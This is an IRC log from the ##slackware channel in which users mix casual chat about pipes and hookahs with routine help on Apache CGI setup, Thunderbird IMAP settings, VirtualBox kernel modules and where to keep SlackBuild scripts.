(~r_linux@smtp.mandique.com.br) joined ##slackware. [09:19] oscillator: I own 7 4 briars, 2 corncobs and a cherry wood. [09:20] slackerpete (~slackerpe@host86-154-105-133.range86-154.btcentralplus.com) joined ##slackware. [09:23] spmd (loli@CAcert/Assurer/spymod) left irc: Read error: Connection reset by peer [09:24] FriedBob: 24 hours of rest for pipe, two meerschaum pipes, the aromatic tobacco is for shisa, and the other amphora [09:26] oscillator: I own a hookah too, but it's at my mom's house since I couldn't easily take it with me on the plane. She brought it back from Egypt for me when she was over there. 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[09:35] gaz (~gaz@cpc4-runc5-2-0-cust424.1-3.cable.virginmedia.com) joined ##slackware. [09:35] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) joined ##slackware. [09:36] Wiren (~aad@LRouen-152-82-19-50.w80-13.abo.wanadoo.fr) joined ##slackware. [09:36] FriedBob: What coal you use? [09:37] Delahunt (~robert@fd127-184.infoaomori.ne.jp) left irc: Quit: Leaving [09:38] oscillator: I'm not sure, I was given some with the hookah. WHen I do use it (or any, actually) I am with my mom and also a group of Egyptians, and they hook me up and make sure I am using it right etc. But I didn't catch the type of coal. [09:38] manusia^bodoh (~ini@202.70.58.2) left irc: [09:40] Greyhound- (Greyhound@79.114.11.167) left irc: Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com ) [09:40] FriedBob: Japanese charcoal is very good [09:41] Camarade_Tux (~adrien@lal69-3-82-241-208-159.fbx.proxad.net) left irc: Quit: leaving [09:41] Camarade_Tux (~adrien@lal69-3-82-241-208-159.fbx.proxad.net) joined ##slackware. [09:45] there are people smoking coal? [09:45] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) joined ##slackware. [09:46] the coal is the fire [09:46] sahk0: smoking coal ? same narguile [09:46] yes [09:47] oh thats cool [09:48] I have a narguile [09:48] help log [09:49] alreadygone (~silas@119.154.104.85) left irc: Quit: We were always meant to say goodbye... [09:51] oscillator: Have you had cantelope flavored shisa? I've been told that it's one of the best flavors ever. [09:54] FriedBob: only banana or strawberry [09:54] oscillator: Ahhh. I've only had doouble apple so far. [09:57] Is there anyone that works in IT industry? [09:58] Azeotrope: uh... most of us.. [09:58] guys, some help with apache config. I'm trying to install bugzilla, but when I access server/bugzilla/index.cgi I see the source [09:58] what obvious thing am I missing? [09:58] Kaapa: you need to spicfy a handler for .cgi files [09:58] and you need Options ExecCGI for the cgi-bin dir they live itn [09:59] AddHandler cgi-script .cgi <- I uncommented this line [09:59] ok, so I probably need to add that , trying [09:59] yeah thatd do it [09:59] Azeotrope: so you're just going to poll? [09:59] s/p/tr/ [10:01] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) joined ##slackware. [10:01] ScreamerX (~screamer@chello084115148215.3.graz.surfer.at) left irc: Quit: Verlassend [10:01] after adding that I get a permission denied on the script [10:01] slink (copy@node-43.blackcore.net) left irc: [10:02] i bought a red pepper yesterday. [10:02] Kaapa: Options +ExecCGI [10:03] Zordrak: ah! Thanks, it's working! [10:03] shyko (~shyko@unaffiliated/shyko) joined ##slackware. [10:03] one more thing - what's the simplest way to have mail being delivered by an external smtp? [10:03] the right tool. [10:03] fetchmail? [10:04] I find out that configuring sendmail is always a pita, iirc last time I replaced it with msmtp or so [10:04] Kaapa: why are you using bugzilla? [10:04] sahk0: because... I want to track bugs? :p [10:05] bugzilla is overkill for small projects imo [10:05] trac and flyspray are much better [10:05] Kaapa use vim or a wikiwiki [10:05] s0d0 (~sod@host86-175-233-240.wlms-broadband.com) joined ##slackware. [10:05] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) left irc: Client Quit [10:06] sftp (~sftp@79.174.50.208) left irc: Remote host closed the connection [10:06] sahk0: I work for mozilla, so my personal preference is bugzilla :) [10:06] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) joined ##slackware. [10:06] call me biased [10:06] Kaapa: aha! are you a thunderbird expert too? [10:06] ananke: no, I want a resumee of somebody (just the part with the knowledge) to see how it should look [10:06] I'm a thuunderbird user, and it's the best email client in the world, like firefox [10:07] you suggested nostalgy yesterday, maybe you can help me figure out the 2 remaining issues i am having [10:07] Kaapa: do you use remote imap? [10:07] if I can help... [10:07] yes [10:07] magnificent [10:08] sftp (~sftp@79.174.50.208) joined ##slackware. [10:08] Kaapa: do you have a couple of mins to spare? i dont wanna grab you by the neck :p [10:08] well, just ask [10:08] k [10:09] let me paste from #thunderbird in irc.mozilla.org. should save me some typing [10:09] i have two issues with it. 1) even though i set mail.check_all_imap_folders_for_new to true in about config, [10:09] i still dont get new mail count unless i access a folder, and [10:10] I didn't check any of that [10:10] sahk0: told you i wasnt sure it worked :) [10:10] all I did was right click on the folder and set as favorite [10:10] *sometimes* that happens, but it's very rare [10:10] Zordrak: it doesnt at least when you open the application the first time [10:10] Kaapa: ok my next plan was to favourite the folder [10:11] 2) even though i ticked Clean Up Inbox on Exit, i still get crossed out messages in folders which should have first been moved to trash and then deleted. but they still reside crossed out inside the folders they were received i [10:11] lewnidas_ (~lewnidas_@77.49.125.126.dsl.dyn.forthnet.gr) joined ##slackware. [10:11] in* [10:11] what does "clean inbox" mean? [10:12] thats in account settings/server settings [10:12] thats supposed to expunge the inbox [10:12] alisonken1noc (~alisonken@ip-66-33-206-8.dreamhost.com) left irc: Remote host closed the connection [10:12] any idea? [10:13] FRSoldier (~FRSoldier@122.3.82.98) joined ##slackware. [10:15] rv2733 (~rv2733@c-98-242-168-49.hsd1.fl.comcast.net) joined ##slackware. [10:16] hmm i found a setting in about:config for the 2nd one set to false. i wonder wtf the tick in server setting does though [10:16] Desiderius (~DC@ns-quad.ibisc.univ-evry.fr) left irc: Quit: ChatZilla 0.9.86 [Firefox 3.6/20100115133306] [10:17] you want to expunge your inbox? [10:17] this http://kb.mozillazine.org/Deleting_messages_in_IMAP_accounts explains some stuff. but dont seem to work as advertised [10:17] wow - I envy your work capability :) [10:18] i want messages that get moved to trash and then i empty it, to get deleted. not to reside "crossed out" in the folders they were received in [10:18] e01 (~OSCorp01@new-tech.ro-ni.net) left irc: Read error: Connection reset by peer [10:19] I'm not too sure I know what crossed out means :( [10:19] doesn't seem to happen to me [10:20] hmm i dont remember how to write like that 1 sec [10:20] gar0t0 (~gar0t0@unaffiliated/gar0t0) left irc: Quit: leaving [10:22] meh [10:22] slackie (~x@unaffiliated/slackie) joined ##slackware. [10:24] Strykar (~wakka@122.170.46.82) left irc: Quit: Leaving [10:25] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) left irc: Quit: Lost terminal [10:27] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) joined ##slackware. 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[10:47] chess, yep, know that ;) [10:48] Suhana (~vash@host217-42-44-229.range217-42.btcentralplus.com) joined ##slackware. [10:50] asamoah (~caio@190.244.52.205) left irc: Quit: leaving [10:50] Azeotrope: there are tons of resumes on-line. pick one. [10:50] i need a txt2wiki written as a standard unix filter. clues pls? [10:51] SunTzu: Write one? [10:51] yea well you know... :) [10:51] wertik_rus (~wertik@212.33.3.98) left irc: Client Quit [10:51] arent wiki pages html code? so you want a txt2html? [10:51] yes [10:52] well, no, plain text with simple markup marks [10:52] tank-man: uhm..no [10:52] wiki pages are in wiki markups [10:52] that get translated to html [10:52] is there any commands which will ensure html code is checked? [10:52] steinberg (~steinberg@67.23.167.36) joined ##slackware. [10:52] AEnima1577: checked for what? [10:52] But not all wiki code is the same [10:52] slackie (~x@unaffiliated/slackie) left irc: Ping timeout: 246 seconds [10:52] it varies between wikis [10:52] i copied something from a windows machine, and i see the code when i open the html, in a web brouser [10:53] foobarz (1000@unaffiliated/foobarz) joined ##slackware. [10:53] sry, my question does not relate to wikis at all [10:53] slackie (~x@unaffiliated/slackie) joined ##slackware. [10:53] you didnt answer the question [10:53] dbyte (~eduardo@190.42.33.102) joined ##slackware. [10:53] AEnima1577: your question doesn't make much sense [10:53] Check for what? [10:53] i was trying to make a box in my html page, that would post a fortune quote everytime someone loaded the page [10:53] let me start from the beginning [10:53] I have a html page [10:54] and I want a fortune quote to appear in a box in that html page, everytime it is loaded [10:54] i was told by one person that i need to use php [10:55] cfdisk (~cfdisk@unaffiliated/cfdisk) joined ##slackware. [10:55] wow. you really need to start with the basics in #web [10:56] egrub (~lilo78@186.137.23.210) left irc: Quit: leaving [10:57] davey_wavey (~davee@host86-146-72-51.range86-146.btcentralplus.com) joined ##slackware. [10:58] anyone tell me what music app is goog for streaming ...client and server [10:58] *good [10:59] ok; i hadnt even thought of googing "text2html"; found a filter i think, gotta vet it now [10:59] tank-man tyvm [10:59] tank-man tyvm for that clue [11:01] yea but it was pointed out wikis are not just html [11:01] yea but i'm a pr0f3ssi0n4l :) i'm allowed. [11:01] lol [11:03] davey_wavey (~davee@host86-146-72-51.range86-146.btcentralplus.com) left irc: Quit: Leaving [11:07] gar0t0 (~gar0t0@unaffiliated/gar0t0) joined ##slackware. [11:10] timahvo1 (~rogue@41.191.224.178) left irc: Quit: leaving [11:10] slava_dp (~slava@unaffiliated/slava-dp/x-9423217) left irc: Quit: See you later [11:19] ferdelan (~null@gw-2.211.ru) joined ##slackware. [11:25] gnubien (~e@unaffiliated/gnubien) joined ##slackware. [11:25] _RadioHead (~slack@217.170.244.1) joined ##slackware. [11:26] comp_ (~comp_@81.196.151.9) left irc: Quit: Leaving. [11:27] http://blogs.technet.com/msrc/archive/2010/04/21/ms10-025-security-update-to-be-re-released.aspx [11:28] you'd figure they'd field test these things before deployment, aye? [11:28] _slax0r_ (fire@slackware.x-shells.org) left irc: Ping timeout: 248 seconds [11:28] <_RadioHead> damn ISP so slow net today here [11:30] _slax0r_ (fire@slackware.x-shells.org) joined ##slackware. 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[12:01] haha [12:01] guax: http://noobfarm.org/viewquote.php?id=1925 [12:01] that's where I learned it [12:02] sahko (~grbzks@pdpc/supporter/active/grbzks) joined ##slackware. [12:02] grazymax (~grazymax@host117-155-dynamic.19-79-r.retail.telecomitalia.it) left irc: Ping timeout: 264 seconds [12:03] That noobfarm quote is amazing. [12:03] sahk0 (~grbzks@pdpc/supporter/active/grbzks) left irc: Quit: leaving [12:03] it was epic indeed [12:03] raela, thats.... disturbing [12:03] in many ways [12:04] guax: do you agree that Camarade_Tux's statement was sexual in nature? [12:04] Camarade_Tux, you irc whore [12:04] lol @ quote [12:04] raela, that answer you? [12:05] guax: hahaha yep :) are you french? [12:05] nope [12:05] Suhana (~vash@host217-42-44-229.range217-42.btcentralplus.com) left irc: Quit: Imma outta here [12:05] but latin languages are mostly alike so i can understand some stuff [12:05] im brazilian [12:06] guax: well, still good enough.. he said we said it was sexual because english is our first language.. just proving him wrong again :P [12:06] v6CommO (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) joined ##slackware. [12:07] sexual stuff is sexual [12:07] guax: vc br? huahuahuahua :P [12:07] raela, eu assumo que seu português não seja muito bom. [12:07] raela, no google translate allowed [12:07] eauhauhea [12:08] guax: I played RO for awhile.. lots of brazilians there.. unfortunately, most did not understand that people did not appreciate them running around asking everyone if they were br :P [12:08] guax: assuming makes an ass out of you and me! [12:08] brazilian noobs in international games are a plague. i assume [12:08] correct in this case :P however, I took enough spanish that I can read portuguese and understand some of it [12:09] portuguese dont make much sense even if you know spanish [12:09] guax: totally.. their vocab seems to consist of: br, vc, itens, zeny [12:09] Heya guys... what packages are needed to play videos and audio? [12:09] garme, assuming you have a full slackware install? [12:09] guax: and they like to follow people around asking for free stuff :P [12:09] guax, yes. [12:09] raela, that is not a brazillian privilege [12:10] garme, then nothing, just run xine for video or even mplayer now, and for audio you have xmms or amarok [12:10] guax: I've known some very cool brazilians online :) they are not the ones that run around spamming br? [12:10] guax, what about codecs? [12:11] garme, you hardly need to install any of them. slackware ships a good amount of awesomeness codecs [12:11] guax, i'm interessed in codecs.. not players. [12:11] guax, do you have a list? [12:11] what you need to play [12:11] ? [12:12] nothing special... i'm customizing a distro.. so i want to support audio and video. [12:12] that means nothing [12:13] dunix (~dunix@unaffiliated/dunix) left irc: Remote host closed the connection [12:13] garme, perhaps just lack x264 [12:13] cant remember anything i couldnt play with normal slackwaer [12:13] slackware [12:13] that goes from divx to rmvb [12:13] yeah.. [12:14] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) joined ##slackware. [12:14] I found a list of open codecs... [12:14] raela, we are nice. =P [12:14] http://how-to.wikia.com/wiki/How_to_install_most_used_codecs_in_Linux [12:15] are they really open? [12:15] dunno [12:15] ask big G [12:16] Ali G? [12:16] mancha, thats google :| [12:17] Ali Google? [12:17] guax, tnx. [12:17] :) [12:18] grazymax (~grazymax@host36-157-dynamic.12-79-r.retail.telecomitalia.it) joined ##slackware. [12:22] mancha: henceforth SB Cohen is known as Ali Google. [12:23] Respect [12:23] *ahem* I believe you mean "respek" [12:23] respel knuckles [12:23] *respek [12:23] impss (~impps@212.183.140.23) joined ##slackware. [12:24] hehe [12:24] in fact you can take avantage of their new CNAME: www.booyakasha.com [12:25] gnubien (~e@unaffiliated/gnubien) left irc: Quit: leaving [12:26] |Emeau| (~kvirc@AMontsouris-158-1-99-88.w92-140.abo.wanadoo.fr) left irc: Read error: Connection reset by peer [12:27] StarX (~StarX@unaffiliated/stars) joined ##slackware. [12:31] hcfd (~fed@host86-131-165-23.range86-131.btcentralplus.com) left irc: Ping timeout: 265 seconds [12:33] damn it, now i have to go to the satellite campus to do a spyware scan... fuckin windows [12:34] necos. seriously [12:34] ot: Anyone who has not heard of MikroTik Routerboards.. you should. They are frigging awesome. Just been lent one by my ISP to handle a network and ip swap [12:34] csun. [12:34] theyre a full on linuxy router the same size and price as a desktop switch [12:35] i'm talking about my job dingdog jeev :P [12:35] jeev: hahaha [12:35] pizzledizzle (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) joined ##slackware. [12:35] and the OS on them is beautiful [12:35] jeev: Of course you HAVE to chime in :) [12:35] Dominian, what would life be without my 2 cents [12:35] good [12:35] jeev: boring.. that's for sure ;) [12:36] paissad (~paissad@fac34-3-89-87-195-22.dsl.club-internet.fr) left irc: Ping timeout: 276 seconds [12:36] VUGO (~VUGO@209.8.233.222) left irc: Read error: Connection reset by peer [12:36] i'm really upset man, the bandwidth at my datacenter is not performing anymore, i think it's cause they oversold [12:36] VUGO (~VUGO@209.8.233.133) joined ##slackware. [12:36] VUGO (~VUGO@209.8.233.133) left irc: Read error: Connection reset by peer [12:36] VUGO (~VUGO@209.8.233.21) joined ##slackware. [12:36] qneo (~knao@adsl-dyn180.78-99-102.t-com.sk) joined ##slackware. [12:38] i tried to iinstall virtualbox ; but it says that "VirtualBox has been installed successfully, but the kernel module could not be built...";;Question: how can i fix this problem ? [12:38] (slackware 13_64 bit) [12:39] oxiredo_ro: /etc/rc.d/vboxdrv setup [12:39] package is : [12:39] I think.. [12:39] VirtualBox-3.1.6-59338-Linux_amd64.run [12:39] see if that gifves you any errors [12:39] if it does.. pastebin the results please [12:39] do you have kernel-source installed? [12:39] sahko: haha.. damn you.. I was in the middle of typing that :) [12:39] :p [12:39] oxiredo_ro: Are you using the slackware13 kernel or something newer? [12:40] is there a official place to put your slackbuilds on your system? [12:40] dustybin: $HOME works ;0 [12:40] the default;what was in my DVD [12:40] home?! [12:40] dustybin: You can store them wherever you want. [12:40] i use /mnt/slackware/ports/ [12:40] dustybin: You mean slackbuild scripts right? [12:40] yes [12:40] lol the drive i bought for 99 bux is now 48 bux at frys, a couple weeks later [12:40] jeev: ouch [12:40] dustybin: where you want really. [12:40] scratch that, notepad != desktop [12:41] notebook [12:41] I keep them in /home/michiel/builds/slackbuilds/ .. well among others. [12:41] how about [12:41] /usr/local/slackbuilds [12:41] i missed a core i3 deal for a customer yesterday, should i cheap out and buy an e7500 ? : / [12:41] dustybin: if that works for you. [12:41] erm [12:41] or /slackbuilds [12:42] just dont come tomorrow asking where the hell you put em in :p [12:42] dustybin: if that works for you. [12:42] where abouts are the offical packages stored? [12:42] maybe i should keep them close to those [12:42] again, where you told them to. [12:42] adamk_, i ma using slackware 13 kernel...i thinl:D [12:42] the official packages dont store build scripts [12:43] and that too . [12:43] when i installed slackware 13, didnt the packages get stored somewhere? [12:43] not as packages [12:43] ok [12:43] dustybin: the actual packages? or the list of what packages are installed? [12:43] oxiredo_ro: Well do what the others suggested and pastebin any errors. [12:43] BP{k}: the actual packages? [12:44] for the base system [12:44] ie. i selected A + AP + N etc [12:44] but you already have them on the dvd/cd [12:44] dustybin: where did you install them from? [12:44] i used a net install [12:45] i used alienbobs mini iso [12:45] the outpun when i install virtualbox: http://pastebin.com/GWCV0U4c [12:45] dustybin: then most likely you don't have packages on your system. [12:45] with leaning towards s/most likely// [12:45] BP{k}: so imagine i wanted to remove vim, how could i do that? [12:45] vim is in AP [12:45] dustybin: `man removepkg` [12:45] BP{k}: but you said there was no package? [12:46] oxiredo_ro: As it says: "Please check the log file /var/log/vbox-install.log for more information' [12:46] oxiredo_ro: So pastebin that log file. [12:46] dustybin: you could read the slackbook, see the topic [12:46] especially chapter 18 [12:46] http://pastebin.com/07gEUJ3e [12:46] dustybin: there is a difference between "a package" as in a tarball, and "where the package manager keeps track of what is installed" [12:46] here is [12:46] oxiredo_ro: But, really, is there some reason you aren't using the slackbuilds? [12:47] aye ok [12:47] dustybin: so in short, you don't need to have a package {a tarball}, for the package manager to know what to remove {which is kept in /var/log/packages/} [12:47] i see [12:48] i look at slackbulids : but those build are for virtbox 32 bit [12:48] virtualbox-ose (3.1.6) [12:48] what does /src get used for?! [12:48] source-code, for what?.. [12:49] maybe you dont have a /src [12:49] oxiredo_ro: uhm .. no. [12:49] oxiredo_ro: You were saying? http://slackbuilds.org/repository/13.0/system/virtualbox-ose/ http://slackbuilds.org/repository/13.0/system/virtualbox-kernel/ [12:49] Oh... [12:49] Hmmm. [12:49] hmm re-reading. might need some compat libs to build vbox [12:49] should slackbuild scripts be run as root? [12:49] Yeah, that is confusing. [12:49] dustybin: yes. [12:49] aye ok [12:50] i might keep slackbuilds in [12:50] /root [12:50] oxiredo_ro: By the way, the default kernel on slackware 13.0 isn't 2.6.33.1 :-) [12:50] dustybin: again, if that works for you. ;) [12:50] oxiredo_ro: So you did install a newer kernel, which is really something you should have known :-) [12:50] BP{k}: i prefer official, rather than what works for me :P [12:50] i did a slackpkg -upgrade all [12:50] so-i thin it is not default;sorry:D [12:51] dustybin: well since SlackBuilds are not official. There is no official wqay. [12:51] dustybin: dont keep em in /root! use a location writable by the users. preferably a directory which doesnt exist yet. theres no official place [12:51] aye ok [12:51] Emeau (~kvirc@AMontsouris-158-1-99-88.w92-140.abo.wanadoo.fr) joined ##slackware. [12:53] what u sugest me to do;to install kernel modules [12:53] im running my first ever slackbuild, nvidia kernel :D [12:53] ? [12:53] oxiredo_ro: Try this: 'ln -s /usr/src/linux-2.6.33.1/arch/x86_64 /usr/src/linux-2.6.33.1/arch/amd64' [12:54] oxiredo_ro: THen run '/etc/rc.d/rc.vboxdrv setup' again as root. [12:55] do you guys rsync the whole unoffical slackbuilds.org ? [12:55] dustybin: I do. [12:55] well "the whole" and then some. [12:55] aye good idea [12:56] BP{k}: how much space does it use [12:56] done;tnx:D [12:56] worked [12:56] nvidia driver installed [12:56] time to reboot [12:56] dustybin: in your case, you probably only need to rsync the repository for your slackware-version. [12:57] dustybin: 213M, but that is 11.0,12.0,12.1,12,2 and 13.0 repos [13:00] ScreamerX (~screamer@chello084115148215.3.graz.surfer.at) joined ##slackware. [13:01] nessundorma (~mike@78-134-76-98.dynamic.eolo.it) joined ##slackware. [13:05] groo_ (~groo@189.117.89.93) joined ##slackware. [13:06] nick4 (~fffeop@188.4.48.249.dsl.dyn.forthnet.gr) joined ##slackware. [13:07] timahvo1 (~rogue@41.223.57.82) joined ##slackware. [13:10] groo_ (~groo@189.117.89.93) left irc: Ping timeout: 240 seconds [13:10] rworkman, your broke udev :> [13:11] _RadioHead (~slack@217.170.244.1) left irc: Quit: Leaving [13:11] v4nelle (~van@ipa230.12.tellas.gr) joined ##slackware. [13:11] garme (~garme@187.79.90.10) left irc: Quit: Leaving [13:14] timahvo1 (~rogue@41.223.57.82) left irc: Ping timeout: 264 seconds [13:15] timahvo1 (~rogue@41.223.57.82) joined ##slackware. [13:15] BP{k}: 70M the 13.0 tree (that's all I rsync nowadays) [13:17] VUGO (~VUGO@209.8.233.21) left irc: [13:18] AEnima1577 (~clbarnob@rrcs-24-199-200-70.midsouth.biz.rr.com) left irc: Read error: Connection reset by peer [13:19] byteframe (~byteframe@pool-74-104-2-246.bstnma.east.verizon.net) joined ##slackware. [13:20] if someone distributes the linux kernel (binary+source), is the receiver also entitled to the ".config" file ? [13:20] anyone have trouble getting their screen back after resuming from suspend-to-ram? [13:21] the screen gets power to it, but is blank.. changing virtual terminals doesn't do anything either [13:26] Nick change: PeanutHorst -> CashewHorst [13:26] Anybody here have issues with kwin compositing with alienBOB's KDE 4.4 packages? [13:27] Cann0n (~jack@unaffiliated/cann0n) joined ##slackware. [13:28] it works for me, but I don't use it because intel sucks [13:28] Hm. I'm using the prerelease ATI drivers [13:29] nvidia drivers similarly fail, AFAICT [13:29] I don't think kwins effects work well anywhere, any longer :) [13:29] NaCl: I have had issues with the kwin effects in KDE 4.4 under Ubuntu with those prerelease drivers. [13:29] since i used it on my netbook with intel card for about a week i had no compositing either. it sucked big time regardless. many 'flashes' etc [13:29] NaCl: They just won't enable, though compiz works fine. Perhaps related to your problem? [13:30] adamk_: That's what I needed to hear [13:30] Thanks. [13:30] NaCl: No problem. Rather annoying KDE bug I assume. [13:31] I'm debating whether I should drop KDE or not. [13:31] Not because of the compositing [13:31] Because the only KDE application I am using right now is konsole [13:33] And aside from some small quirks, urxvt looks fine [13:34] drop for what? :) [13:34] (curious) [13:34] im much happier without the desktop junk [13:34] cfdisk (~cfdisk@unaffiliated/cfdisk) left irc: Quit: Leaving [13:34] xfce, probably [13:35] a window manager, a good terminal, and a launcher [13:35] dunix (~dunix@unaffiliated/dunix) joined ##slackware. [13:35] Only KDE app I generally use other than konsole is amarok [13:35] atm it is the best option [13:35] (IMO) [13:37] i am having a really hard time getting used to xfce after the kde experience, even if i just use it on my netbook [13:37] and i get to build 50+ packages again for it [13:37] nogagplzd (~nogagplz@ppp121-44-253-91.lns20.syd7.internode.on.net) left irc: Ping timeout: 276 seconds [13:38] Nigromante (~Nigromant@197.Red-80-35-167.staticIP.rima-tde.net) joined ##slackware. [13:39] hello humans [13:39] it took me 2 years of therapy to get over the kde experience [13:39] riza (~riza@unaffiliated/riza) joined ##slackware. [13:39] Hi. [13:39] Have you guys ever had an entire set of backup fail on you? [13:40] "set of backup" ? [13:40] fail on you? [13:40] have you? [13:40] guys? [13:40] Axius (~hi@109.97.62.8) joined ##slackware. [13:40] lol [13:40] heh [13:41] dchmelik (~d@dynamic-216-227-6-29.ellensburg.fairpoint.net) left irc: Ping timeout: 248 seconds [13:41] gtludwig (~gtl@150.162.164.181) joined ##slackware. [13:41] InTel_GB (~intel@79.100.237.127) joined ##slackware. [13:41] InTel_GB (intel@79.100.237.127) left ##slackware. [13:42] hello [13:43] InTel_GB (~intel@79.100.237.127) joined ##slackware. [13:43] InTel_GB (intel@79.100.237.127) left ##slackware. [13:43] hello [13:43] does Intel_GB think he's being clever? [13:43] why? [13:44] Just now thrice`. [13:44] pointless cycling? [13:44] mancha, was that to me? [13:45] heh! [13:45] someone play the theme from the twilight zone!@# [13:45] :|.. [13:45] do de do do do de do do [13:45] riza, please don't drool on the channel [13:45] :P [13:45] what's /dev/ for my cd-rom on -current? [13:46] hahaha [13:46] it's srX probably [13:46] man oh man [13:46] /dev/cdrom [13:46] lol [13:46] how can I get text in irssi to start with /'s? [13:46] Most if not all of my pata backups, gone.. They were old anyway... [13:46] /test [13:46] / /text [13:46] /dev/cdrom [13:46] whoa [13:46] i get root@cpc-5564:/home/gtl# mount /dev/cdrom0 /mnt/dvd/ [13:46] mount: block device /dev/sr0 is write-protected, mounting read-only [13:46] mount: /dev/sr0: can't read superblock [13:47] trhodes: thanks [13:47] NaCl: welcome [13:47] bad media, yo [13:47] 2 questions: what do you think about Fedora? and Would you install Linux on a Mac? [13:47] mancha, not really... it's a mudic cd [13:48] Axius (~hi@109.97.62.8) left irc: Quit: Leaving [13:48] Hermann (~Hermannn@c-de50e255.226-1-64736c10.cust.bredbandsbolaget.se) joined ##slackware. [13:48] there you go [13:48] They can't be mounted. [13:48] oops music [13:48] Sigh, poor me. [13:48] riza (~riza@unaffiliated/riza) left irc: Quit: riza [13:49] brb >.<; [13:49] nogagplzd (~nogagplz@ppp121-44-229-234.lns20.syd7.internode.on.net) joined ##slackware. [13:49] if it don't have iso9660 you must acquit [13:52] ok, i executed the nvidia-kernel slackbuild, it created a package in /tmp why does it leave the package in temp? [13:52] its de facto standard [13:52] aye ok [13:52] hersonls (~hersonls@187.40.2.153) left irc: Read error: No route to host [13:52] so do you guys move the package into a package dir? [13:52] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) joined ##slackware. [13:52] of your own choice [13:52] no, install it [13:52] and save to a backup dir [13:53] aye ok [13:53] Action: NaCl has 2.6 GB of stuff in /tmp [13:53] hersonls (~hersonls@187.40.2.153) joined ##slackware. [13:53] jeeeze [13:54] Action: NaCl just cleaned it up [13:54] got rid of a GB of it [13:54] oscillator (~oscillato@81.35.198.140) left irc: Quit: Zzz [13:57] alkos333 (~alkos333@173-111-242-57.pools.spcsdns.net) joined ##slackware. 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[14:09] yep thrice` [14:09] but upgrade to current, with overwrite files conf [14:09] so it's normal. [14:09] Nigromante (~Nigromant@197.Red-80-35-167.staticIP.rima-tde.net) left irc: Quit: Konversation terminated! [14:09] qneo (knao@adsl-dyn180.78-99-102.t-com.sk) left ##slackware. [14:09] now it's ok. [14:09] noob issue :) [14:09] no upgrade in current will overwrite that file [14:09] no, updates in current will not override them, they will leave them as blacklist.conf.new or so [14:10] which is why it's usually easer to create conf files in /etc/modprobe.d/$stuff.conf [14:10] (if its edited) [14:10] well, I modify the new file, it was just a mistake. [14:10] nessundorma (~mike@78-134-76-98.dynamic.eolo.it) left irc: Quit: leaving [14:12] gar0t0 (~gar0t0@unaffiliated/gar0t0) left irc: Quit: leaving [14:13] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) left irc: Quit: Lost terminal [14:13] StarX (~StarX@unaffiliated/stars) left irc: Read error: Connection reset by peer [14:13] CelestialWurm (~celestial@24.115.209.159) left irc: Quit: Leaving. [14:14] thrice`: no, I didn't. I just partially fixed it [14:15] if by fixed, you mean 'doesn't work' :p [14:15] its kludged [14:15] alkos333 (~alkos333@173-111-242-57.pools.spcsdns.net) left irc: Ping timeout: 240 seconds [14:15] the firmware stuff is nested inside --enable-extras only, so --disable-extras = no firmware [14:15] It works fine if you use the default, which is what almost everyone does. [14:16] StarX (~StarX@unaffiliated/stars) joined ##slackware. [14:16] My only contribution was to fix the typo, which made even the default not work. [14:16] CelestialWurm (~celestial@24.115.209.159) joined ##slackware. [14:17] foobarz (1000@unaffiliated/foobarz) joined ##slackware. [14:17] but yes, you are correct about the nesting - that definitely appears to be the problem [14:18] Evilaz (~art@u1018430.ul.warwick.net) left irc: Ping timeout: 264 seconds [14:19] rv2733 (~rv2733@c-98-242-168-49.hsd1.fl.comcast.net) left irc: Quit: Leaving [14:21] sahk0 (~grbzks@pdpc/supporter/active/grbzks) joined ##slackware. [14:21] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) left irc: Remote host closed the connection [14:21] sahko (~grbzks@pdpc/supporter/active/grbzks) left irc: Quit: leaving [14:22] munki (~munki@pool-173-60-200-189.lsanca.fios.verizon.net) joined ##slackware. [14:22] Evilaz (~art@u1018430.ul.warwick.net) joined ##slackware. [14:22] munki (~munki@pool-173-60-200-189.lsanca.fios.verizon.net) left irc: Client Quit [14:22] dios_mio (mirc@88.236.183.56) joined ##slackware. [14:24] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) left irc: Read error: Operation timed out [14:28] impss (~impps@212.183.140.23) left irc: Quit: Leaving [14:29] riza (~riza@unaffiliated/riza) joined ##slackware. [14:29] Hello, does anyone know what produces vector graphics? [14:29] ala cairo? [14:29] nick4 (fffeop@188.4.48.249.dsl.dyn.forthnet.gr) left ##slackware. [14:30] wut [14:30] karbon does in koffice [14:30] the software cairo? or you mean some app to actually do it [14:30] The app that actually do it. [14:30] I'm trying to create vector art from existing photos. [14:30] inkscape might be good [14:31] inkscape huh... [14:32] Is it automated? I am an art idiot. [14:32] I just need to input somewhere, output it goes. [14:33] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) joined ##slackware. [14:33] inkscape saves to *.svg, which is vector graphics [14:33] <:D [14:34] as far as i know it is not able to convert pixel graphics to vector graphics [14:34] D:!! [14:34] But it can draw right? [14:34] I/O is basic science of life =P [14:34] yes [14:34] Open up a jpg and does its magic. [14:34] Yes! [14:34] Cause I have existing photo I must turn into vector. [14:34] jpg is pixel graphic [14:35] I wanna do something like this - http://www.melissaclifton.com/images/tutorials/vector/vector01.jpg [14:35] that wont be an easy task to do that automated [14:35] http://scienceblogs.com/omnibrain/guilherme_marconi_girlingreen_small.jpg Or even better. [14:35] I'm good looking, just need a talented artist. [14:35] *g* [14:36] lol [14:36] lol [14:36] Action: riza dances. [14:36] Don't worry I'm ugly. [14:36] riza, is that nsfw? [14:36] It's safe for work. [14:38] it better be! =P [14:38] sahk0 (~grbzks@pdpc/supporter/active/grbzks) left irc: Quit: leaving [14:38] It is. [14:38] Trust me. [14:38] It's beautiful. [14:38] If it's not, I give you permission to kick me. [14:38] nick4 (~fffeop@77.49.155.219.dsl.dyn.forthnet.gr) joined ##slackware. [14:39] gah, green brains ! [14:39] What?1 [14:39] 